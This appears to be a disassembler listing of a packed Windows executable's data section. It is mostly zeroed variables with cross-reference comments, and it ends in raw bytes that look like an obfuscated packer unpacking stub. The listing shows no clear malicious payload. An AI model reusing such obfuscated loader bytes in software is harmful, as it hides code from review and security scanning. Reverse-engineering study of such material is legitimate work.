dword_43A2C0	dd 0			; DATA XREF: sub_4089F2+83Bw
					; sub_4089F2+88Er ...
dword_43A2C4	dd 0			; DATA XREF: sub_4085D3+58r
					; sub_4089F2+2A5w ...
dword_43A2C8	dd 0			; DATA XREF: sub_4089F2+82Ew
					; sub_4089F2+886r ...
dword_43A2CC	dd 0			; DATA XREF: sub_4089F2+B3w
dword_43A2D0	dd 0			; DATA XREF: sub_4089F2+848w
					; sub_4089F2+896r ...
dword_43A2D4	dd 0			; DATA XREF: sub_407BFE+7Er
					; sub_4089F2+52Fw ...
dword_43A2D8	dd 0			; DATA XREF: sub_4089F2+58w
					; sub_4089F2+CAr ...
dword_43A2DC	dd 0			; DATA XREF: sub_4089F2+916w
					; sub_40A217+11Ar
dword_43A2E0	dd 0			; DATA XREF: sub_4089F2+A66w
					; sub_4089F2+A6Dr ...
dword_43A2E4	dd 0			; DATA XREF: sub_4089F2+A6w
					; sub_4089F2+F2r
dword_43A2E8	dd 0			; DATA XREF: sub_4089F2+462w
					; sub_4089F2+4B5r
dword_43A2EC	dd 0			; DATA XREF: sub_40760A+20r
					; sub_4089F2+5D8w ...
dword_43A2F0	dd 0			; DATA XREF: sub_4089F2+9A0w
					; sub_4089F2+A08r
dword_43A2F4	dd 0			; DATA XREF: sub_4024DC+280r
					; sub_4089F2+5CBw ...
dword_43A2F8	dd 0			; DATA XREF: sub_4030C0+9Ar
					; sub_4089F2+B21w
dword_43A2FC	dd 0			; DATA XREF: sub_4089F2+7E0w
					; sub_4089F2+84Fr ...
dword_43A300	dd 0			; DATA XREF: sub_4089F2+1B3w
					; sub_409DF3+15r
dword_43A304	dd 0			; DATA XREF: sub_4089F2+979w
					; sub_4089F2+9F0r ...
dword_43A308	dd 0			; DATA XREF: sub_4089F2+36Ew
					; sub_4089F2+3B9r ...
dword_43A30C	dd 0			; DATA XREF: sub_4089F2+37Bw
					; sub_4089F2+3C1r ...
dword_43A310	dd 0			; DATA XREF: sub_4089F2+C56w
					; sub_4089F2+C5Dr
dword_43A314	dd 0			; DATA XREF: sub_4089F2+68Ew
dword_43A318	dd 0			; DATA XREF: sub_4010B2:loc_4013DDr
					; sub_4018CA:loc_401B70r ...
dword_43A31C	dd 0			; DATA XREF: sub_4089F2+496w
dword_43A320	dd 0			; DATA XREF: sub_4089F2+9C7w
					; sub_4089F2+A20r ...
dword_43A324	dd 0			; DATA XREF: sub_4089F2+2B2w
					; sub_4089F2+2DEr ...
dword_43A328	dd 0			; DATA XREF: sub_4089F2+7Fw
					; sub_4089F2+DAr ...
dword_43A32C	dd 0			; DATA XREF: sub_4089F2+B6Ew
					; sub_4089F2+B75r ...
dword_43A330	dd 0			; DATA XREF: sub_4010B2+2Fr
					; sub_4018CA+2Fr ...
dword_43A334	dd 0			; DATA XREF: sub_4089F2+807w
					; sub_4089F2+872r ...
dword_43A338	dd 0			; DATA XREF: sub_4089F2+986w
					; sub_4089F2+9F8r
dword_43A33C	dd 0			; DATA XREF: sub_404F08+5Ar
					; sub_404F08+8Cr ...
dword_43A340	dd 0			; DATA XREF: sub_4021FB+40r
					; sub_4021FB+63r ...
dword_43A344	dd 0			; DATA XREF: sub_4089F2+8FCw
					; sub_4089F2+910r ...
dword_43A348	dd 0			; DATA XREF: sub_4089F2+BF9w
dword_43A34C	dd 0			; DATA XREF: sub_4010B2:loc_4013A7r
					; sub_401447+3Cr ...
dword_43A350	dd 0			; DATA XREF: sub_4089F2+821w
					; sub_4089F2+855r
dword_43A354	dd 0			; DATA XREF: sub_4021FB+50r
					; sub_4021FB+78r ...
dword_43A358	dd 0			; DATA XREF: sub_4089F2+172w
					; sub_4089F2+1C2r
dword_43A35C	dd 0			; DATA XREF: sub_4089F2+65Aw
					; sub_4089F2+786r ...
dword_43A360	dd 0			; DATA XREF: sub_4033CB+20Ar
					; sub_4036EB+5Er ...
dword_43A364	dd 0			; DATA XREF: sub_4024DC+16Er
					; sub_4089F2+549w ...
dword_43A368	dd 0			; DATA XREF: sub_4089F2+8BDw
					; sub_4089F2:loc_4092CDw ...
dword_43A36C	dd 0			; DATA XREF: sub_4089F2+28Bw
					; sub_4089F2+2C6r ...
dword_43A370	dd 0			; DATA XREF: sub_407D86+98r
					; sub_4089F2+681w ...
dword_43A374	dd 0			; DATA XREF: sub_4089F2+30Fw
					; sub_4089F2+323r ...
dword_43A378	dd 0			; DATA XREF: sub_4089F2+395w
					; sub_4089F2+3D1r ...
dword_43A37C	dd 0			; DATA XREF: sub_404F08+192r
					; sub_404F08+1C6r ...
dword_43A380	dd 0			; DATA XREF: sub_4089F2+7FAw
					; sub_4089F2+86Ar ...
dword_43A384	dd 0			; DATA XREF: sub_4021FB+FCr
					; sub_4089F2+206w ...
dword_43A388	dd 0			; DATA XREF: sub_4089F2+18Cw
					; sub_4089F2+1D2r ...
dword_43A38C	dd 0			; DATA XREF: sub_4089F2+814w
					; sub_4089F2+87Ar ...
dword_43A390	dd 0			; DATA XREF: sub_406C3E+244r
					; sub_4089F2+606w ...
dword_43A394	dd 0			; DATA XREF: sub_4085D3+19Br
					; sub_4089F2+2BFw ...
dword_43A398	dd 0			; DATA XREF: sub_4010B2+6Fr
					; sub_401447+AAr ...
dword_43A39C	dd 0			; DATA XREF: sub_4089F2+302w
					; sub_4089F2+316r ...
dword_43A3A0	dd 0			; DATA XREF: sub_405B23+F9r
					; sub_406C3E+1FCr ...
dword_43A3A4	dd 0			; DATA XREF: sub_4089F2+42Ew
					; sub_4089F2+490r
dword_43A3A8	dd 0			; DATA XREF: sub_4089F2+199w
					; sub_4089F2+1DAr ...
dword_43A3AC	dd 0			; DATA XREF: sub_4089F2+347w
					; sub_4089F2+39Cr ...
dword_43A3B0	dd 0			; DATA XREF: sub_4089F2+A73w
dword_43A3B4	dd 0			; DATA XREF: sub_4010B2+EBr
					; sub_4010B2+1F9r ...
dword_43A3B8	dd 0			; DATA XREF: sub_4010B2+87r
					; sub_4010B2+9Dr ...
dword_43A3BC	dd 0			; DATA XREF: sub_4089F2+4Bw
					; sub_4089F2+C2r ...
dword_43A3C0	dd 0			; DATA XREF: sub_4089F2+455w
					; sub_4089F2+4ADr
dword_43A3C4	dd 0			; DATA XREF: sub_4089F2+165w
					; sub_4089F2+1BAr ...
dword_43A3C8	dd 0			; DATA XREF: sub_4089F2+9E1w
					; sub_413CA9+72r
dword_43A3CC	dd 0			; DATA XREF: sub_4089F2+667w
					; sub_4089F2+78Er
dword_43A3D0	dd 0			; DATA XREF: sub_4024DC+205r
					; sub_4033CB+23Br ...
dword_43A3D4	dd 0			; DATA XREF: sub_404F08+1D9r
					; sub_404F08+245r ...
dword_43A3D8	dd 0			; DATA XREF: sub_4089F2+3Ew
					; sub_4089F2+BAr ...
dword_43A3DC	dd 0			; DATA XREF: sub_4089F2+298w
					; sub_4089F2+2CEr ...
dword_43A3E0	dd 0			; DATA XREF: sub_405B23+9Er
					; sub_407BFE+9Cr ...
dword_43A3E4	dd 0			; DATA XREF: sub_4024DC+EBr
					; sub_405B23+89r ...
dword_43A3E8	dd 0			; DATA XREF: sub_4089F2+C63w
dword_43A3EC	dd 0			; DATA XREF: sub_4089F2+85Bw
					; sub_40AE4B+205r ...
dword_43A3F0	dd 0			; DATA XREF: sub_4089F2+112w
dword_43A3F4	dd 0			; DATA XREF: sub_404F08+11Er
					; sub_4089F2+BB8w ...
dword_43A3F8	dd 0			; DATA XREF: sub_401447+119r
					; sub_401447+1A0r ...
dword_43A3FC	dd 0			; DATA XREF: sub_4089F2+43Bw
					; sub_4089F2+49Dr
dword_43A400	dd 0			; DATA XREF: sub_4089F2+47Cw
					; sub_4089F2+4C5r
dword_43A404	dd 0			; DATA XREF: sub_4089F2+448w
					; sub_4089F2+4A5r
dword_43A408	dd 0			; DATA XREF: sub_4033CB+221r
					; sub_4033CB+249r ...
dword_43A40C	dd 0			; DATA XREF: sub_4089F2+1A6w
					; sub_4089F2+1E2r ...
dword_43A410	dd 0			; DATA XREF: sub_4089F2+9D4w
					; sub_4089F2+A28r ...
dword_43A414	dd 0			; DATA XREF: sub_4089F2+158w
					; sub_4089F2+1ADr ...
dword_43A418	dd 0			; DATA XREF: sub_4089F2+8Cw
					; sub_4089F2+E2r ...
dword_43A41C	dd 0			; DATA XREF: sub_4010B2+2C2r
					; sub_401447+2DAr ...
dword_43A420	dd 0			; DATA XREF: sub_4089F2+B14w
					; sub_4089F2+B30r
dword_43A424	dd 0			; DATA XREF: sub_4089F2+31Cw
					; sub_413D67+55r
dword_43A428	dd 0			; DATA XREF: sub_4085D3+3Fr
					; sub_4089F2+27Ew ...
dword_43A42C	dd 0			; DATA XREF: sub_4089F2+B7Bw
dword_43A430	dd 0			; DATA XREF: sub_4089F2+ABDw
					; sub_40A093+CEr
dword_43A434	dd 0			; DATA XREF: sub_4089F2+AB0w
					; sub_4089F2+AB7r ...
dword_43A438	dd 0			; DATA XREF: sub_401447+2Er
					; sub_401BD6+55r ...
dword_43A43C	dd 0			; DATA XREF: sub_407D86+88r
					; sub_4089F2+674w ...
dword_43A440	dd 0			; DATA XREF: sub_404F08+71r
					; sub_4089F2+BC5w ...
dword_43A444	dd 0			; DATA XREF: sub_4024DC+28Dr
					; sub_406C3E+250r ...
dword_43A448	dd 0			; DATA XREF: sub_4089F2+993w
					; sub_4089F2+A00r ...
dword_43A44C	dd 0			; DATA XREF: sub_405B23+13Ar
					; sub_407BFE+B3r ...
dword_43A450	dd 0			; DATA XREF: sub_4010B2+324r
					; sub_401447+2F0r ...
dword_43A454	dd 0			; DATA XREF: sub_405B23+B7r
					; sub_405B23+39Fr ...
dword_43A458	dd 0			; DATA XREF: sub_402FDD+B0r
					; sub_402FDD+C8r ...
dword_43A45C	dd 0			; DATA XREF: sub_4010B2+4Fr
					; sub_4018CA+4Fr ...
dword_43A460	dd 0			; DATA XREF: sub_4089F2+AFAw
					; sub_4089F2+B1Br
dword_43A464	dd 0			; DATA XREF: sub_4089F2+31w
					; sub_4089F2+ADr ...
dword_43A468	dd 0			; DATA XREF: sub_4089F2+17Fw
					; sub_4089F2+1CAr
		align 10h
dword_43A470	dd 0			; DATA XREF: sub_4089F2+909w
					; sub_4089F2+91Dr ...
dword_43A474	dd 0			; DATA XREF: sub_4089F2+99w
					; sub_4089F2+EAr ...
dword_43A478	dd 0			; DATA XREF: sub_4089F2:loc_408AF0w
					; sub_4089F2+12Bw ...
dword_43A47C	dd 0			; DATA XREF: sub_4089F2+126w
					; sub_40967F+1Cr
dword_43A480	dd 0			; DATA XREF: sub_4089F2:loc_408BE0w
					; sub_4089F2:loc_408C47w ...
dword_43A484	dd 0			; DATA XREF: sub_4089F2+250w
					; sub_40967F+50r
dword_43A488	dd 0			; DATA XREF: sub_4089F2:loc_408CDCw
					; sub_4089F2:loc_408D21w ...
dword_43A48C	dd 0			; DATA XREF: sub_4089F2+400w
					; sub_40967F+84r
dword_43A490	dd 0			; DATA XREF: sub_4089F2:loc_408ED8w
					; sub_40967F:loc_40972Fr
dword_43A494	dd 0			; DATA XREF: sub_4089F2+4E1w
					; sub_40967F+B8r
dword_43A498	dd 0			; DATA XREF: sub_4089F2:loc_4091A9w
					; sub_40967F:loc_409763r
dword_43A49C	dd 0			; DATA XREF: sub_4089F2+7B2w
					; sub_40967F+ECr
dword_43A4A0	dd 0			; DATA XREF: sub_4089F2:loc_409294w
					; sub_4089F2+8D1w ...
dword_43A4A4	dd 0			; DATA XREF: sub_4089F2+8CCw
					; sub_40967F+120r
dword_43A4A8	dd 0			; DATA XREF: sub_4089F2:loc_409328w
					; sub_40967F:loc_4097CBr ...
dword_43A4AC	dd 0			; DATA XREF: sub_4089F2+931w
					; sub_40967F+154r
dword_43A4B0	dd 0			; DATA XREF: sub_4089F2:loc_409433w
					; sub_40967F:loc_4097FFr ...
dword_43A4B4	dd 0			; DATA XREF: sub_4089F2+A3Cw
					; sub_40967F+188r
dword_43A4B8	dd 0			; DATA XREF: sub_4089F2:loc_40947Dw
					; sub_40967F:loc_409833r
dword_43A4BC	dd 0			; DATA XREF: sub_4089F2+A86w
					; sub_40967F+1BCr
dword_43A4C0	dd 0			; DATA XREF: sub_4089F2:loc_4094C7w
					; sub_40967F:loc_409867r
dword_43A4C4	dd 0			; DATA XREF: sub_4089F2+AD0w
					; sub_40967F+1F0r
dword_43A4C8	dd 0			; DATA XREF: sub_4089F2:loc_40953Bw
					; sub_40967F:loc_40989Br
dword_43A4CC	dd 0			; DATA XREF: sub_4089F2+B44w
					; sub_40967F+224r
dword_43A4D0	dd 0			; DATA XREF: sub_4089F2:loc_409585w
					; sub_40967F:loc_4098CFr
dword_43A4D4	dd 0			; DATA XREF: sub_4089F2+B8Ew
					; sub_40967F+258r
dword_43A4D8	dd 0			; DATA XREF: sub_4089F2:loc_409623w
					; sub_40967F:loc_409903r
dword_43A4DC	dd 0			; DATA XREF: sub_4089F2+C2Cw
					; sub_40967F+28Cr
dword_43A4E0	dd 0			; DATA XREF: sub_4089F2:loc_40966Dw
					; sub_40967F:loc_409937r
dword_43A4E4	dd 0			; DATA XREF: sub_4089F2+C76w
					; sub_40967F+2C0r
dword_43A4E8	dd 81h dup(0)		; DATA XREF: sub_409C08+6Ao
dword_43A6EC	dd 5 dup(0)		; DATA XREF: sub_40A171+32o
dword_43A700	dd 0			; DATA XREF: sub_40A5B9:loc_40A5DAr
					; sub_40A6A8+54r ...
dword_43A704	dd 0			; DATA XREF: sub_40A5B9r
					; sub_40A6A8+37r ...
dword_43A708	dd 0			; DATA XREF: sub_40A5E9+1Ar
					; sub_40A7FD+83o
dword_43A70C	dd 0			; DATA XREF: sub_40A5B9:loc_40A5CDr
					; sub_40A7FD+11Bw
dword_43A710	dd 0Dh dup(0)		; DATA XREF: sub_40A6A8+13o
					; sub_40A7FD:loc_40A93Ao
dword_43A744	dd 0			; DATA XREF: sub_40A6A8+CDr
					; sub_40A6A8+ECr ...
		dd 0
dword_43A74C	dd 0Eh dup(0)		; DATA XREF: sub_40A9B2+47o
dword_43A784	dd 1000h dup(0)		; DATA XREF: sub_40B16D+1Do
					; sub_40B20Do ...
dword_43E784	dd 0			; DATA XREF: sub_40B16D+13o
					; sub_40B20D+Eo ...
dword_43E788	dd 0Eh dup(0)		; DATA XREF: sub_40C218+Fo
dword_43E7C0	dd 2 dup(0)		; DATA XREF: sub_40C59A+C8o
dword_43E7C8	dd 0			; DATA XREF: sub_40B075+Ao
					; sub_40B075+44r ...
		dd 5 dup(0)
dword_43E7E0	dd 0			; DATA XREF: sub_40B075+60r
					; sub_40CE55+BC8r
		dd 2D9h	dup(0)
dword_43F348	dd 0			; DATA XREF: sub_40778B+A5r
					; sub_40B075+2Do ...
		dd 7Fh dup(0)
dword_43F548	dd 0			; DATA XREF: sub_414F93+41w
					; sub_4150CE+40w ...
dword_43F54C	dd 0			; DATA XREF: sub_406100+234w
					; sub_40778B:loc_4077D2r ...
dword_43F550	dd 0			; DATA XREF: sub_40A7FD+164w
					; sub_414F93+52w ...
dword_43F554	dd 0			; DATA XREF: sub_4024DC+E0w
					; sub_405B23+7Ew ...
dword_43F558	dd 0			; DATA XREF: sub_407D86+11Ew
					; sub_407F6D+53r ...
dword_43F55C	dd 0			; DATA XREF: sub_406100+261w
					; sub_407276+122w ...
byte_43F560	db 0			; DATA XREF: sub_40CB75+91o
					; sub_40CE55+322Br ...
		align 4
		dd 2A7h	dup(0)
dword_440000	dd 15D4h dup(0)		; DATA XREF: .nsp0:00422640o
dword_445750	dd 8C3Ah dup(0)		; DATA XREF: .nsp0:off_426918o
dword_468838	dd 0			; DATA XREF: sub_407135:loc_4071A3r
					; sub_40C682+47w ...
		align 10h
dword_468840	dd 0			; DATA XREF: sub_40C682:loc_40CA87o
dword_468844	dd 20h dup(0)		; DATA XREF: sub_40C682+39Do
					; sub_40C682+456o ...
dword_4688C4	dd 10h dup(0)		; DATA XREF: sub_40C682+3B4o
					; sub_40CE55+91Do
dword_468904	dd 24h dup(0)		; DATA XREF: sub_40C682+3CBo
dword_468994	dd 0			; DATA XREF: sub_40C682+3BFw
					; sub_40C682+46Dw ...
dword_468998	dd 0			; DATA XREF: sub_40C682+3DEw
		dd 3 dup(0)
dword_4689A8	dd 0			; DATA XREF: sub_40C682+147r
dword_4689AC	dd 0			; DATA XREF: sub_40CB75+72r
					; sub_40CE55+276r
byte_4689B0	db 0			; DATA XREF: sub_40CCDD+28r
					; sub_40CCDD+30o
		align 4
dword_4689B4	dd 0			; DATA XREF: sub_40283D+9Fo
dword_4689B8	dd 0			; DATA XREF: sub_40C682+40Aw
					; sub_40C682+421r ...
dword_4689BC	dd 0			; DATA XREF: sub_40C682+3A2w
					; sub_40CE55+8C1r
dword_4689C0	dd 17h dup(0)		; DATA XREF: sub_412F10:loc_41302Do
					; sub_412F10+131o ...
dword_468A1C	dd 7 dup(0)		; DATA XREF: sub_413CA9+7Co
					; sub_413CA9+A5o
dword_468A38	dd 0			; DATA XREF: sub_4151DB+16o
					; sub_4151FA+19o
dword_468A3C	dd 78h dup(0)		; DATA XREF: sub_41518E+3Do
dword_468C1C	dd 0			; DATA XREF: sub_41328A+45w
					; sub_41328A+4Dr ...
dword_468C20	dd 17h dup(0)		; DATA XREF: sub_413B75:loc_413C97o
					; sub_413B75+12Do
dword_468C7C	dd 80h dup(0)		; DATA XREF: sub_4131CB+4Bo
					; sub_4131CB+7Do ...
byte_468E7C	db 0			; DATA XREF: sub_41328A+29r
					; sub_41328A+34w
		align 10h
dword_468E80	dd 80h dup(0)		; DATA XREF: sub_4134E1+61o
					; sub_4134E1+88o ...
dword_469080	dd 81h dup(0)		; DATA XREF: sub_412DE7+33o
					; sub_412DE7+50o ...
dword_469284	dd 81h dup(0)		; DATA XREF: sub_41449C+8Do
byte_469488	db 0			; DATA XREF: sub_414E8C+6Ar
					; sub_414E8C+98w
		align 4
		dd 2 dup(0)
dword_469494	dd 0			; DATA XREF: sub_415F3B+Aw
dword_469498	dd 0			; DATA XREF: sub_416AD4+5Er
					; sub_416AD4+A4w
		align 10h
word_4694A0	dw 0			; DATA XREF: sub_416AD4+55r
					; sub_416AD4+9Ao
word_4694A2	dw 0			; DATA XREF: sub_416AD4+48r
		db 2 dup(0)
word_4694A6	dw 0			; DATA XREF: sub_416AD4+3Br
word_4694A8	dw 0			; DATA XREF: sub_416AD4+2Er
word_4694AA	dw 0			; DATA XREF: sub_416AD4+21r
		align 10h
dword_4694B0	dd 0			; DATA XREF: sub_416C98+3Br
					; sub_416C98+91w
dword_4694B4	dd 0			; DATA XREF: sub_416881+1B9w
					; sub_416E3E:loc_416EBAw ...
dword_4694B8	dd 0			; DATA XREF: sub_417709+35w
					; sub_4185CB:loc_418665w ...
dword_4694BC	dd 0			; DATA XREF: sub_41D55A+13Ar
dword_4694C0	dd 0			; DATA XREF: .nsp0:00417B4Aw
dword_4694C4	dd 0			; DATA XREF: .nsp0:00417B41w
dword_4694C8	dd 0			; DATA XREF: .nsp0:00417B36w
dword_4694CC	dd 0			; DATA XREF: .nsp0:00417B28w
dword_4694D0	dd 0			; DATA XREF: sub_40C682:loc_40C96Fr
					; sub_41C8D3+91w
dword_4694D4	dd 0			; DATA XREF: sub_40C682+2F6r
					; sub_40C682+316r ...
		dd 0
dword_4694DC	dd 0			; DATA XREF: sub_41C81A+44w
					; sub_41F409+9r ...
dword_4694E0	dd 0			; DATA XREF: sub_41FAC2+36r
dword_4694E4	dd 0			; DATA XREF: sub_41F409+16r
					; sub_41F7D7+4r ...
		dd 0
dword_4694EC	dd 0			; DATA XREF: sub_41C8D3+2Ew
		dd 0
byte_4694F4	db 0			; DATA XREF: sub_417849+2Dw
					; sub_41D17B+5r
		align 4
dword_4694F8	dd 0			; DATA XREF: sub_417849+27w
dword_4694FC	dd 0			; DATA XREF: sub_417849+4r
					; sub_417849+8Bw
dword_469500	dd 0			; DATA XREF: .nsp0:00417B7Cw
					; sub_41C81A:loc_41C82Cr ...
		align 8
dword_469508	dd 0			; DATA XREF: sub_417BEEr sub_417C13r ...
dword_46950C	dd 0			; DATA XREF: sub_4187B6+37r
		dd 0
dword_469514	dd 0			; DATA XREF: sub_415DC9r
					; sub_4174DF:loc_4175DBr ...
dword_469518	dd 0			; DATA XREF: sub_418A68r
dword_46951C	dd 0			; DATA XREF: sub_41A016+11r
					; sub_41A11A+1Ar ...
byte_469520	db 0			; DATA XREF: sub_41A016+3r
					; sub_41A016+98r ...
		align 4
dword_469524	dd 0			; DATA XREF: sub_41A11A+11r
					; sub_41A1F8+21w ...
byte_469528	db 0			; DATA XREF: sub_41A1F8+51w
		align 4
dword_46952C	dd 0			; DATA XREF: sub_41A3EE+4Er
					; sub_41A7C9+3Ar ...
dword_469530	dd 0			; DATA XREF: sub_41A3EE+5Cr
					; sub_41A7C9+43r ...
dword_469534	dd 0			; DATA XREF: sub_4161C2+7Ar
					; sub_41A595+5r
dword_469538	dd 0			; DATA XREF: sub_41AB9C+29r
dword_46953C	dd 0			; DATA XREF: sub_41BD71+28r
					; sub_41BD71+4Cw ...
		dd 2 dup(0)
dword_469548	dd 0			; DATA XREF: sub_417193+4r
					; sub_417193+9Dr ...
		dd 3 dup(0)
dword_469558	dd 0			; DATA XREF: sub_4179F9+61r
					; sub_4179F9+BFr ...
		align 10h
dword_469560	dd 0			; DATA XREF: sub_41BFC0:loc_41C13Br
					; sub_41C159+4w ...
dword_469564	dd 0			; DATA XREF: sub_41C63E+3Ar
					; sub_41C63E+46w ...
dword_469568	dd 41h dup(0)		; DATA XREF: sub_41C8D3:loc_41C8EAo
dword_46966C	dd 0			; DATA XREF: sub_41CB20+2r
					; sub_41CB20+23w ...
dword_469670	dd 0			; DATA XREF: sub_41CEE0+21r
dword_469674	dd 0			; DATA XREF: sub_4187B6:loc_4187DFw
					; sub_418880+154w ...
dword_469678	dd 0			; DATA XREF: sub_41D1F7+26r
					; sub_41D1F7:loc_41D261w
dword_46967C	dd 0			; DATA XREF: sub_418880+7r
word_469680	dw 0			; DATA XREF: sub_41DDDF+1Ao
					; sub_41DDDF+46r
byte_469682	db 0			; DATA XREF: sub_41DDDF+39r
		align 4
dword_469684	dd 7 dup(0)		; DATA XREF: sub_41DDDF+52o
dword_4696A0	dd 0			; DATA XREF: sub_41DDDF+40w
					; sub_41DDDF+5Co
dword_4696A4	dd 0			; DATA XREF: sub_41DDDF+4Dw
dword_4696A8	dd 0			; DATA XREF: sub_41DDDF+31w
dword_4696AC	dd 0			; DATA XREF: sub_41DDDF+52w
dword_4696B0	dd 0			; DATA XREF: sub_41DF02:loc_41DF25r
					; sub_41DF02+38r ...
		align 8
dword_4696B8	dd 0			; DATA XREF: sub_41E162+11w
					; sub_41E162+63w ...
		align 10h
dword_4696C0	dd 0			; DATA XREF: sub_41E162+33o
					; sub_41E162+46r
dword_4696C4	dd 10h dup(0)		; DATA XREF: sub_41E162+C1o
word_469704	dw 0			; DATA XREF: sub_41E3C0+A8r
word_469706	dw 0			; DATA XREF: sub_41E162+54r
					; sub_41E3C0+DBr ...
word_469708	dw 0			; DATA XREF: sub_41E3C0+CAr
word_46970A	dw 0			; DATA XREF: sub_41E3C0+D3r
					; sub_41E3C0:loc_41E4B2r
word_46970C	dw 0			; DATA XREF: sub_41E3C0+C0r
word_46970E	dw 0			; DATA XREF: sub_41E3C0+B8r
word_469710	dw 0			; DATA XREF: sub_41E3C0+B0r
word_469712	dw 0			; DATA XREF: sub_41E3C0+9Er
dword_469714	dd 0			; DATA XREF: sub_41E162+4Br
dword_469718	dd 10h dup(0)		; DATA XREF: sub_41E162+FBo
word_469758	dw 0			; DATA XREF: sub_41E3C0+46r
word_46975A	dw 0			; DATA XREF: sub_41E162:loc_41E1D9r
					; sub_41E3C0+78r ...
word_46975C	dw 0			; DATA XREF: sub_41E3C0+67r
word_46975E	dw 0			; DATA XREF: sub_41E3C0+70r
					; sub_41E3C0:loc_41E444r
word_469760	dw 0			; DATA XREF: sub_41E3C0+5Dr
word_469762	dw 0			; DATA XREF: sub_41E3C0+55r
word_469764	dw 0			; DATA XREF: sub_41E3C0+4Dr
word_469766	dw 0			; DATA XREF: sub_41E3C0+3Er
dword_469768	dd 0			; DATA XREF: sub_41E162+80r
dword_46976C	dd 0			; DATA XREF: sub_41E162+132r
					; sub_41E162:loc_41E2AEr ...
dword_469770	dd 0			; DATA XREF: sub_41E14Dr sub_41E14D+Ew
dword_469774	dd 0			; DATA XREF: sub_41E6EE+3r
					; sub_41E6EE+2Ew ...
dword_469778	dd 0			; DATA XREF: sub_41E6EE+43w
					; sub_41E6EE:loc_41E73Dr
dword_46977C	dd 0			; DATA XREF: sub_41E6EE+4Aw
					; sub_41E6EE+60r
dword_469780	dd 0			; DATA XREF: sub_41D55A+3Fr
dword_469784	dd 0			; DATA XREF: sub_41F297:loc_41F2FEr
					; sub_41F297+6Do
dword_469788	dd 0			; DATA XREF: sub_41F297:loc_41F2D5r
					; sub_41F297+44o
dword_46978C	dd 0			; DATA XREF: sub_41F297:loc_41F2C8r
					; sub_41F297+37o
dword_469790	dd 0			; DATA XREF: sub_41F297:loc_41F2E2r
					; sub_41F297+51o
		align 8
dword_469798	dd 0			; DATA XREF: sub_41F845+28r
					; sub_41F845+48w ...
byte_46979C	db 0			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_4697A0	dd 0			; DATA XREF: sub_418749:loc_41875Ar
					; sub_4189F0+14r ...
		dd 7 dup(0)
dword_4697C0	dd 400h	dup(0)		; DATA XREF: .nsp0:off_438488o
					; .nsp0:00438490o
dword_46A7C0	dd 0			; DATA XREF: sub_418749+9r
					; sub_418749+56r ...
		dd 7 dup(0)
dword_46A7E0	dd 0			; DATA XREF: sub_417C37+B1r
					; sub_41B8B0+75r ...
dword_46A7E4	dd 3Fh dup(0)		; DATA XREF: sub_41CC52+92o
dword_46A8E0	dd 0			; DATA XREF: sub_4185CB+8r
					; sub_41B989+Cr ...
dword_46A8E4	dd 0			; DATA XREF: sub_41BFC0+14r
					; sub_41BFC0+65w ...
		align 10h
dword_46A8F0	dd 3 dup(0)		; DATA XREF: sub_41BFC0+123o
					; sub_41BFC0+171o ...
dword_46A8FC	dd 0			; DATA XREF: sub_41BFC0+108w
					; sub_41BFC0+15Dw ...
byte_46A900	db 0			; DATA XREF: sub_41C1FF:loc_41C30Bw
					; sub_41C1FF:loc_41C328w ...
		align 4
		dd 3Fh dup(0)
byte_46AA00	db 0			; DATA XREF: sub_41BFC0+5Co
					; sub_41BFC0+AFo ...
byte_46AA01	db 0			; DATA XREF: sub_417348+5Dr
					; sub_41BFC0+A0w ...
		align 4
		dd 40h dup(0)
dword_46AB04	dd 0			; DATA XREF: sub_41BFC0+6Ew
					; sub_41BFC0+12Bw ...
dword_46AB08	dd 0			; DATA XREF: sub_418ABF+32w
					; sub_41915C+5r ...
dword_46AB0C	dd 0			; DATA XREF: sub_418B28+239r
					; sub_418B28+259r ...
dword_46AB10	dd 0			; DATA XREF: sub_418ABF+2Dw
					; sub_418B28+310w ...
dword_46AB14	dd 0			; DATA XREF: sub_418ABF:loc_418ADCw
					; sub_418B28+22Cr ...
dword_46AB18	dd 0			; DATA XREF: sub_418ABF+24w
					; sub_418AFDr ...
dword_46AB1C	dd 0			; DATA XREF: sub_418ABF+15w
					; sub_418AFD+8r ...
dword_46AB20	dd 0			; DATA XREF: sub_415E07+28r
					; sub_415E3D+21r ...
dword_46AB24	dd 0			; DATA XREF: .nsp0:00417B72w
					; sub_41C7C2+Fr ...
dword_46AB28	dd 0			; DATA XREF: sub_41C81A+ADw
					; sub_41F409r
dword_46AB2C	dd 0			; DATA XREF: sub_41C384r
					; sub_41C384+11w ...
dword_46AB30	dd 0			; DATA XREF: sub_4167D3+13r
					; sub_4167D3:loc_416815r ...
dword_46AB34	dd 0			; DATA XREF: sub_4167D3+1r
					; sub_4167D3+Cr ...
byte_46AB38	db 0			; DATA XREF: sub_4200C4+15r
					; sub_4200C4+1Ew
		align 4
		dd 131h	dup(0)
		db 90h
		db 60h,	0E8h, 3
		dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 0B000EB81h, 7D830006h, 5D890025h, 8D117525h
		dd 53502A45h, 92DB5FFh,	1FEB0000h, 400000h, 345678B8h
		dd 45035012h, 0DB0B5B25h, 1C244489h, 6A067561h,	0CC25801h
		dd 0E8C35000h, 0Bh, 0F2FD54A7h,	3EF9C043h, 81B5EC9Fh, 94D316CEh
		dd 0E9575A00h, 5, 1C8FEE69h, 0C2815F25h, 868h, 0CE816651h
		dd 2B5E2F9Eh, 0FA8B56DBh, 1334FF59h, 58F2B70Fh,	0B05A8168h
		dd 1DBDB939h, 815E3507h, 0D8C342E8h, 0FEBF0F6Fh, 6F53E881h
		dd 0C08171D5h, 2CFDE090h, 0F7E5B966h, 661A0489h, 7974C981h
		dd 4B03EB83h, 0F09ED3B9h, 2CFB8116h, 0FFFFFF8h,	0FFFFB885h
		dd 14E8FFh, 0C53C0000h,	41284B1Ah, 7DD427E6h, 7940C372h
		dd 356C1FBEh, 81663BCAh, 5F4804C6h, 8E8CA8Bh, 0B0000000h
		dd 0DC4FAE29h, 816BBAE5h, 5CC12E9h, 0EE95E59h, 5E000000h
		dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0C7C681D3h, 81000007h
		dd 0E81DC5CAh, 0BB3Fh, 0D78A0000h, 0F3334FFh, 0B25FC2B7h
		dd 0FEF781A3h, 66695841h, 8142EDB8h, 23AD5FC7h,	0CAB70F47h
		dd 0F3ACEF81h, 8B665F7Dh, 815157C7h, 5A2AA0F0h,	48F5A50h
		dd 0E86FB11Eh, 14h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
